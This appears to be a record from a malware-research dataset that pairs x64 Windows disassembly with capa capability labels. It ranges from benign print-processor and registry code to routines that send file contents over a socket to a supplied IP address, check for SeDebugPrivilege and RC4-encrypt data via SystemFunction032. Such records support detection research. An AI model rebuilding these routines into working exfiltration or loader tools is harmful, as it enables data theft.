joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140006560
Capabilities:
Check if file exists
Copy file
Delete file

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
sub rsp, 0x70
mov qword [rsp + 0x40], 0xfffffffffffffffe
mov rax, qword [0x140040650]
xor rax, rsp
mov qword [rsp + 0x68], rax
mov r14, r9
mov rdi, r8
mov rsi, rdx
mov rbp, rcx
cmp qword [r8 + 0x10], 0
jne 0x1400065a0
mov eax, 7
jmp 0x1400066bd
lea rdx, [rsp + 0x20]
call fcn.140006800
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.140008b50
nop
cmp qword [rsp + 0x38], 8
jb 0x1400065ce
mov rcx, qword [rsp + 0x20]
call fcn.140018ca8
mov qword [rsp + 0x38], 7
xor eax, eax
mov qword [rsp + 0x30], rax
mov word [rsp + 0x20], ax
cmp qword [rsp + 0x58], rax
je 0x14000666e
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 8
cmovae rdx, qword [rsp + 0x48]
cmp qword [r14 + 0x18], 8
jb 0x140006609
mov r14, qword [r14]
mov ebx, 1
mov r8d, ebx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x14000666e
cmp qword [rsi + 0x18], 8
jb 0x140006628
mov rsi, qword [rsi]
cmp qword [rdi + 0x18], 8
jb 0x140006632
mov rdi, qword [rdi]
mov r9, rsi
mov r8, rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.WINSPOOL.DRV_AddPrintProcessorW]
test eax, eax
je 0x140006650
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x140006684
mov ebx, 7
lea rcx, [rsp + 0x48]
cmp qword [rsp + 0x60], 8
cmovae rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x140006684
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, 7
mov ecx, 4
cmp eax, 2
cmove ebx, ecx
mov rax, qword [rbp + 8]
test rax, rax
je 0x1400066a9
cmp ebx, 1
jne 0x14000669c
mov rax, qword [rax]
call qword [rax + 0x48]
test eax, eax
jne 0x1400066a9
mov rcx, qword [rbp + 8]
mov rdx, qword [rcx]
mov ecx, ebx
call qword [rdx + 0x40]
nop
cmp qword [rsp + 0x60], 8
jb 0x1400066bb
mov rcx, qword [rsp + 0x48]
call fcn.140018ca8
mov eax, ebx
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.1400184d0
add rsp, 0x70
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x1400066e0
Capabilities:
Delete file
Move file

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x70
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov rax, qword [0x140040650]
xor rax, rsp
mov qword [rsp + 0x68], rax
mov rsi, r8
mov rdi, rcx
cmp qword [r8 + 0x10], 0
je 0x1400067e1
cmp qword [rdx + 0x10], 0
je 0x1400067e1
mov ebx, 7
cmp qword [rdx + 0x18], 8
jb 0x14000672b
mov rdx, qword [rdx]
mov r8, rdx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.WINSPOOL.DRV_DeletePrintProcessorW]
test eax, eax
je 0x1400067b9
lea rdx, [rsp + 0x28]
call fcn.140006800
nop
mov r8, rsi
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.140008b50
nop
cmp qword [rsp + 0x40], 8
jb 0x14000676a
mov rcx, qword [rsp + 0x28]
call fcn.140018ca8
lea rcx, [rsp + 0x48]
cmp qword [rsp + 0x60], 8
cmovae rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x1400067a2
lea rcx, [rsp + 0x48]
cmp qword [rsp + 0x60], 8
cmovae rcx, qword [rsp + 0x48]
xor edx, edx
lea r8d, [rax + 4]
call qword [sym.imp.KERNEL32.dll_MoveFileExW]
mov ebx, 1
cmp qword [rsp + 0x60], 8
jb 0x1400067b9
mov rcx, qword [rsp + 0x48]
call fcn.140018ca8
mov rcx, qword [rdi + 8]
test rcx, rcx
je 0x1400067dd
cmp ebx, 1
jne 0x1400067d1
mov rcx, qword [rcx]
call qword [rcx + 0x48]
test eax, eax
jne 0x1400067dd
mov rcx, qword [rdi + 8]
mov rdx, qword [rcx]
mov ecx, ebx
call qword [rdx + 0x40]
mov eax, ebx
jmp 0x1400067e6
mov eax, 7
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.1400184d0
add rsp, 0x70
pop rdi
pop rsi
pop rbx
ret
Function at 0x140006d10
Capabilities:
Query or enumerate registry value

Disassembly:
mov rax, rsp
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
mov qword [rbp - 0x19], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov rax, qword [0x140040650]
xor rax, rsp
mov qword [rbp + 0x2f], rax
mov r14, rdx
mov rcx, rdx
call fcn.140008130
mov qword [rbp + 0x1f], 7
xor r15d, r15d
mov qword [rbp + 0x17], r15
mov word [rbp + 7], r15w
lea r8d, [r15 + 6]
lea rdx, str.Owners
lea rcx, [rbp + 7]
call fcn.140002360
nop
lea rdx, [0x140041b70]
cmp qword [0x140041b88], 8
cmovae rdx, qword [0x140041b70]
lea r8, [rbp - 9]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
jne 0x140006eef
lea rdx, [rbp + 7]
cmp qword [rbp + 0x1f], 8
cmovae rdx, qword [rbp + 7]
lea rax, [rbp - 0x11]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r15
lea r9, [rbp - 1]
xor r8d, r8d
mov rcx, qword [rbp - 9]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140006eef
cmp dword [rbp - 1], 7
jne 0x140006eef
mov ecx, dword [rbp - 0x11]
mov eax, 2
mul rcx
mov r12, 0xffffffffffffffff
cmovo rax, r12
mov rcx, rax
call fcn.140013e1c
mov rbx, rax
mov qword [rbp + 0x27], rax
lea rdx, [rbp + 7]
cmp qword [rbp + 0x1f], 8
cmovae rdx, qword [rbp + 7]
lea rax, [rbp - 0x11]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [rbp - 9]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140006ee2
mov esi, r15d
mov rdi, r12
inc rdi
cmp word [rbx + rdi*2], si
jne 0x140006e46
test rdi, rdi
je 0x140006ed1
mov rax, rbx
nop word [rax + rax]
mov qword [rbp - 0x21], 7
mov qword [rbp - 0x29], r15
mov word [rbp - 0x39], r15w
cmp word [rax], 0
jne 0x140006e7c
mov r8, r15
jmp 0x140006e8b
mov r8, r12
nop
inc r8
cmp word [rax + r8*2], 0
jne 0x140006e80
mov rdx, rax
lea rcx, [rbp - 0x39]
call fcn.140002360
nop
lea rdx, [rbp - 0x39]
mov rcx, r14
call fcn.140008040
nop
cmp qword [rbp - 0x21], 8
jb 0x140006eb5
mov rcx, qword [rbp - 0x39]
call fcn.140018ca8
inc rdi
add rsi, rdi
lea rax, [rbx + rsi*2]
mov rdi, r12
inc rdi
cmp word [rax + rdi*2], 0
jne 0x140006ec2
test rdi, rdi
jne 0x140006e60
test rbx, rbx
je 0x140006ede
mov rcx, rbx
call fcn.140018fb8
mov bl, 1
jmp 0x140006ef1
test rbx, rbx
je 0x140006eef
mov rcx, rbx
call fcn.140018fb8
xor bl, bl
cmp qword [rbp + 0x1f], 8
jb 0x140006f01
mov rcx, qword [rbp + 7]
call fcn.140018ca8
movzx eax, bl
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.1400184d0
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
Function at 0x140009d80
Capabilities:
Get common file path

Disassembly:
mov rax, rsp
push rdi
sub rsp, 0x290
mov qword [rsp + 0x48], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x20], rsi
mov rax, qword [0x140040650]
xor rax, rsp
mov qword [rsp + 0x280], rax
mov rdi, r8
mov rbx, rdx
xor esi, esi
mov dword [rsp + 0x20], esi
mov edx, 0x104
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov qword [rsp + 0x68], 7
mov qword [rsp + 0x60], rsi
mov word [rsp + 0x50], si
cmp word [rsp + 0x70], si
jne 0x140009de9
mov r8d, esi
jmp 0x140009dfc
lea rax, [rsp + 0x70]
or r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], si
jne 0x140009df2
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x50]
call fcn.140002360
nop
lea r8, [0x140037704]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x28]
call fcn.140008940
nop
mov r8, rdi
mov rdx, rax
mov rcx, rbx
call fcn.140008b50
nop
cmp qword [rsp + 0x40], 8
jb 0x140009e44
mov rcx, qword [rsp + 0x28]
call fcn.140018ca8
mov qword [rsp + 0x40], 7
mov qword [rsp + 0x38], rsi
mov word [rsp + 0x28], si
cmp qword [rsp + 0x68], 8
jb 0x140009e69
mov rcx, qword [rsp + 0x50]
call fcn.140018ca8
mov rax, rbx
mov rcx, qword [rsp + 0x280]
xor rcx, rsp
call fcn.1400184d0
lea r11, [rsp + 0x290]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x14000a5a0
Capabilities:
Write file on windows

Disassembly:
push rbx
push rsi
push rdi
push r14
sub rsp, 0x58
mov rax, qword [0x140040650]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov r14d, r9d
mov rsi, r8
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x30], rdx
test rdx, rdx
je 0x14000a5df
or edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x14000a611
mov r9d, 2
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x38]
mov r8d, r14d
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
nop
test rbx, rbx
je 0x14000a61f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1400184d0
add rsp, 0x58
pop r14
pop rdi
pop rsi
pop rbx
ret
Function at 0x140013670
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
sub rsp, 0x40
mov rax, qword [0x140040650]
xor rax, rsp
mov qword [rsp + 0x38], rax
cmp qword [0x140041be8], 8
mov edi, edx
lea rax, [rsp + 0x30]
mov r9d, edi
mov rbp, r8
mov rsi, rcx
lea rdx, [0x140041bd0]
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x30], 0
cmovae rdx, qword [0x140041bd0]
or r9d, 0x20006
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ebx, eax
test eax, eax
jne 0x140013720
cmp qword [0x140041bc8], 8
mov rcx, qword [rsp + 0x30]
lea rdx, [0x140041bb0]
cmovae rdx, qword [0x140041bb0]
lea r9d, [rax + 4]
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rbp
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, 0xfffffffd
je 0x140013756
mov eax, 0x40
mov r9d, 0x20
cmp edi, 0x100
lea rcx, [rsi + 0x18]
lea r8, str.PluginManager::WriteOutlookRegKey__:_Setting_state_for_LM_in__d_bit_view._Result_code_is__x.
mov edx, 0xc8
cmove r9d, eax
mov dword [rsp + 0x20], ebx
call fcn.14000a820
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.1400184d0
mov rbx, qword [rsp + 0x78]
add rsp, 0x40
pop rdi
pop rsi
pop rbp
ret

Function at 0x14001d804
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.14001d66c
Function at 0x140002130
Capabilities:
Access the windows event log

Disassembly:
push rbx
sub rsp, 0x30
mov rbx, rcx
mov edx, 4
lea rcx, [0x140009a50]
call fcn.1400022d0
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x1400021ad
mov rax, qword [rcx]
call qword [rax + 0x60]
test rax, rax
jne 0x140002172
lea edx, [rax + 4]
lea rcx, str.Failed_to_run_nextPendingConnection
add rsp, 0x30
pop rbx
jmp fcn.1400022d0
lea rcx, str.1OnReadCommand__
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], rcx
lea r8, str.2readyRead__
lea rcx, [rsp + 0x40]
mov qword [rbx + 0x18], rax
mov r9, rbx
mov rdx, rax
call qword [sym.imp.Qt5Core.dll_public:_static_class_QMetaObject::Connection___cdecl_QObject::connect_class_QObject_const____ptr64__char_const____ptr64__class_QObject_const____ptr64__char_const____ptr64__enum_Qt::ConnectionType_]
lea rcx, [rsp + 0x40]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QMetaObject::Connection::destructor_void____ptr64]
add rsp, 0x30
pop rbx
ret

Function at 0x1400022d0
Capabilities:
Access the windows event log

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x60
movzx edi, dx
lea rbp, str.L_Mount
mov rsi, rcx
mov rdx, rbp
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_RegisterEventSourceW]
mov rbx, rax
test rax, rax
je 0x14000234d
xor ecx, ecx
mov qword [rsp + 0x50], rbp
mov qword [rsp + 0x40], rcx
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov edx, 2
mov dword [rsp + 0x30], ecx
xor r8d, r8d
mov word [rsp + 0x28], dx
xor r9d, r9d
mov qword [rsp + 0x20], rcx
movzx edx, di
mov rcx, rbx
mov qword [rsp + 0x58], rsi
call qword [sym.imp.ADVAPI32.dll_ReportEventW]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_DeregisterEventSource]
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x80]
add rsp, 0x60
pop rdi
ret

Function at 0x1400026a0
Capabilities:
Access the windows event log

Disassembly:
cmp qword [rcx + 0x10], 0
je 0x1400022c8
mov edx, 4
lea rcx, str.WaitandProcessConnnects
jmp fcn.1400022d0
ret
push rbx
sub rsp, 0x20
mov rbx, rcx
mov ecx, 0x28
call fcn.140006a88
mov qword [rsp + 0x30], rax
mov rcx, rax
call fcn.140001ca0
nop
mov qword [rbx + 0x20], rax
mov rcx, rax
add rsp, 0x20
pop rbx
jmp 0x1400022b0
Function at 0x14001108c
Capabilities:
Get file size
Read file on windows

Disassembly:
jmp 0x1400130f0
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x198
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x26
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1b8]
mov rax, qword [0x1400264e8]
xor rax, rbp
mov qword [rbp + 0x140], rax
lea rcx, [0x14002c239]
call fcn.140011505
mov qword [rbp + 8], 0xffffffffffffffff
mov dword [rbp + 0x24], 0
mov dword [rbp + 0x44], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
mov rcx, qword [rbp + 0x170]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0xffffffffffffffff
jne 0x14001319c
xor eax, eax
jmp 0x14001326c
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rbp + 0x24], eax
mov eax, dword [rbp + 0x24]
mov qword [rbp + 0x138], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, qword [rbp + 0x138]
mov r8, rcx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbp + 0x68], rax
mov eax, dword [rbp + 0x24]
mov r8d, eax
xor edx, edx
mov rcx, qword [rbp + 0x68]
call fcn.1400113ed
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x44]
mov r8d, dword [rbp + 0x24]
mov rdx, qword [rbp + 0x68]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x140013224
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, qword [rbp + 0x170]
lea rcx, str.____Error_Rading_File__s:__d
call fcn.140011253
mov rax, qword [rbp + 0x178]
mov rcx, qword [rbp + 0x68]
mov qword [rax], rcx
mov rax, qword [rbp + 0x180]
mov ecx, dword [rbp + 0x44]
mov dword [rax], ecx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rbp + 0x178]
cmp qword [rax], 0
je 0x140013263
mov rax, qword [rbp + 0x180]
mov eax, dword [rax]
test rax, rax
jne 0x140013267
xor eax, eax
jmp 0x14001326c
mov eax, 1
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x140020800]
call fcn.14001145b
mov rax, rdi
mov rcx, qword [rbp + 0x140]
xor rcx, rbp
call fcn.14001126c
lea rsp, [rbp + 0x158]
pop rdi
pop rbp
ret
Function at 0x1400110a0
Capabilities:
Connect socket
Convert ip address from string
Initialize winsock library
Send data
Send data on socket

Disassembly:
jmp 0x140013310
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x418
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x9e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x438]
mov rax, qword [0x1400264e8]
xor rax, rbp
mov qword [rbp + 0x3e8], rax
lea rcx, [0x14002c239]
call fcn.140011505
mov qword [rbp + 0x238], 0
lea rdx, [rbp + 0x10]
mov cx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [rbp + 0x254], eax
cmp dword [rbp + 0x254], 0
je 0x1400133a8
mov edx, dword [rbp + 0x254]
lea rcx, str.____WSAStartup_failed:__d_n
call fcn.140011253
xor eax, eax
jmp 0x14001352f
xor r8d, r8d
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rbp + 0x1c8], rax
cmp qword [rbp + 0x1c8], 0xffffffffffffffff
jne 0x1400133ed
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.____Socket_creation_failed:__ld_n
call fcn.140011253
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
jmp 0x14001352f
mov eax, 2
mov word [rbp + 0x1e8], ax
movzx ecx, word [rbp + 0x418]
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp + 0x1ea], ax
lea r8, [rbp + 0x1ec]
mov rdx, qword [rbp + 0x410]
mov ecx, 2
call qword [sym.imp.WS2_32.dll_inet_pton]
mov r8d, send
lea rdx, [rbp + 0x1e8]
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x140013473
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.____Connection_failed:__ld_n
call fcn.140011253
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
jmp 0x14001352f
mov eax, dword [rbp + 0x428]
cmp qword [rbp + 0x238], rax
jae 0x140013517
mov eax, dword [rbp + 0x428]
sub rax, qword [rbp + 0x238]
mov rcx, qword [rbp + 0x238]
mov rdx, qword [rbp + 0x420]
add rdx, rcx
mov rcx, rdx
xor r9d, r9d
mov r8d, eax
mov rdx, rcx
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.WS2_32.dll_send]
mov dword [rbp + 0x214], eax
cmp dword [rbp + 0x214], 0xffffffff
jne 0x1400134f7
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.____Send_failed:__ld_n
call fcn.140011253
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
jmp 0x14001352f
movsxd rax, dword [rbp + 0x214]
mov rcx, qword [rbp + 0x238]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x238], rax
jmp 0x140013473
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x1400208d0]
call fcn.14001145b
mov rax, rdi
mov rcx, qword [rbp + 0x3e8]
xor rcx, rbp
call fcn.14001126c
lea rsp, [rbp + 0x3f8]
pop rdi
pop rbp
ret
Function at 0x140011127
Capabilities:
Convert ip address from string

Disassembly:
jmp 0x140012ef0
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x22
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x188]
mov rax, qword [0x1400264e8]
xor rax, rbp
mov qword [rbp + 0x138], rax
lea rcx, [0x14002c239]
call fcn.140011505
mov rcx, qword [rbp + 0x160]
call qword [sym.imp.ucrtbased.dll__strdup]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x140012f74
lea rcx, str.strdup_failed
call qword [sym.imp.ucrtbased.dll_perror]
xor eax, eax
jmp 0x140013050
mov edx, 0x3a
mov rcx, qword [rbp + 8]
call fcn.14001105f
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
je 0x140013033
mov rax, qword [rbp + 0x28]
mov byte [rax], 0
mov r8d, send
mov rdx, qword [rbp + 8]
mov rcx, qword [rbp + 0x168]
call qword [sym.imp.ucrtbased.dll_strncpy]
mov eax, 1
imul rax, rax, 0xf
mov rcx, qword [rbp + 0x168]
mov byte [rcx + rax], 0
mov rax, qword [rbp + 0x28]
inc rax
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_atoi]
mov rcx, qword [rbp + 0x170]
mov dword [rcx], eax
lea r8, [rbp + 0x44]
mov rdx, qword [rbp + 0x168]
mov ecx, 2
call qword [sym.imp.WS2_32.dll_inet_pton]
cmp eax, 1
jne 0x140013023
mov ecx, dword [rbp + 0x44]
call qword [sym.imp.WS2_32.dll_ntohl]
mov dword [rbp + 0x64], eax
mov eax, dword [rbp + 0x64]
shl rax, 0x10
mov rcx, qword [rbp + 0x170]
movsxd rcx, dword [rcx]
or rax, rcx
mov rcx, qword [rbp + 0x178]
mov qword [rcx], rax
jmp 0x140013031
mov rcx, qword [rbp + 8]
call qword [sym.imp.ucrtbased.dll_free]
xor eax, eax
jmp 0x140013050
jmp 0x140013041
mov rcx, qword [rbp + 8]
call qword [sym.imp.ucrtbased.dll_free]
xor eax, eax
jmp 0x140013050
mov rcx, qword [rbp + 8]
call qword [sym.imp.ucrtbased.dll_free]
mov eax, 1
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x140020960]
call fcn.14001145b
mov rax, rdi
mov rcx, qword [rbp + 0x138]
xor rcx, rbp
call fcn.14001126c
lea rsp, [rbp + 0x148]
pop rdi
pop rbp
ret
Function at 0x140011177
Capabilities:
Acquire debug privileges
Get token privileges

Disassembly:
jmp 0x1400138f0
push rbp
push rdi
sub rsp, 0x208
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x46
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x1400264e8]
xor rax, rbp
mov qword [rbp + 0x1c0], rax
lea rcx, [0x14002c303]
call fcn.140011505
mov dword [rbp + 4], 0
mov qword [rbp + 0x28], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp + 0x28]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140013afa
lea rax, [rbp + 0x64]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rbp + 0x44]
mov edx, socket
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x140013988
mov eax, dword [rbp + 0x44]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jne 0x140013afa
mov dword [rbp + 0x84], 0
lea rax, [rbp + 0x84]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 3
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov eax, dword [rbp + 0x84]
mov qword [rbp + 0x1b8], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, qword [rbp + 0x1b8]
mov r8, rcx
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbp + 0xa8], rax
cmp qword [rbp + 0xa8], 0
je 0x140013ad8
lea rax, [rbp + 0x84]
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp + 0x84]
mov r8, qword [rbp + 0xa8]
mov edx, 3
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x140013ad8
lea r8, [rbp + 0xc8]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x140013ad8
mov dword [rbp + 0xe4], 0
jmp 0x140013a66
mov eax, dword [rbp + 0xe4]
inc eax
mov dword [rbp + 0xe4], eax
mov rax, qword [rbp + 0xa8]
mov eax, dword [rax]
cmp dword [rbp + 0xe4], eax
jae 0x140013ad8
mov eax, dword [rbp + 0xe4]
imul rax, rax, 0xc
mov rcx, qword [rbp + 0xa8]
mov edx, dword [rbp + 0xc8]
cmp dword [rcx + rax + 4], edx
jne 0x140013ad6
mov eax, dword [rbp + 0xe4]
imul rax, rax, 0xc
mov rcx, qword [rbp + 0xa8]
mov edx, dword [rbp + 0xcc]
cmp dword [rcx + rax + 8], edx
jne 0x140013ad6
mov eax, dword [rbp + 0xe4]
imul rax, rax, 0xc
mov rcx, qword [rbp + 0xa8]
mov eax, dword [rcx + rax + 0xc]
and eax, 2
test eax, eax
je 0x140013ad6
mov dword [rbp + 4], 1
jmp 0x140013ad8
jmp 0x140013a58
cmp qword [rbp + 0xa8], 0
je 0x140013afa
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0xa8]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rbp + 0x28], 0
je 0x140013b0b
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, [0x140020ee0]
call fcn.14001145b
mov eax, edi
mov rcx, qword [rbp + 0x1c0]
xor rcx, rbp
call fcn.14001126c
lea rsp, [rbp + 0x1d8]
pop rdi
pop rbp
ret
Function at 0x140011208
Capabilities:
Encrypt data using rc4 via systemfunction032

Disassembly:
jmp 0x140012a90
mov dword [rsp + 0x20], r9d
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x188
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x2a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1a8]
mov rax, qword [0x1400264e8]
xor rax, rbp
mov qword [rbp + 0x158], rax
lea rcx, [0x14002c16c]
call fcn.140011505
mov dword [rbp + 4], 0
mov eax, dword [rbp + 0x190]
mov dword [rbp + 0x28], eax
mov eax, dword [rbp + 0x190]
mov dword [rbp + 0x2c], eax
mov rax, qword [rbp + 0x180]
mov qword [rbp + 0x30], rax
mov eax, dword [rbp + 0x198]
mov dword [rbp + 0x58], eax
mov eax, dword [rbp + 0x198]
mov dword [rbp + 0x5c], eax
mov rax, qword [rbp + 0x188]
mov qword [rbp + 0x60], rax
lea rcx, str.Advapi32
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.SystemFunction032
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x88], rax
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0x58]
call qword [rbp + 0x88]
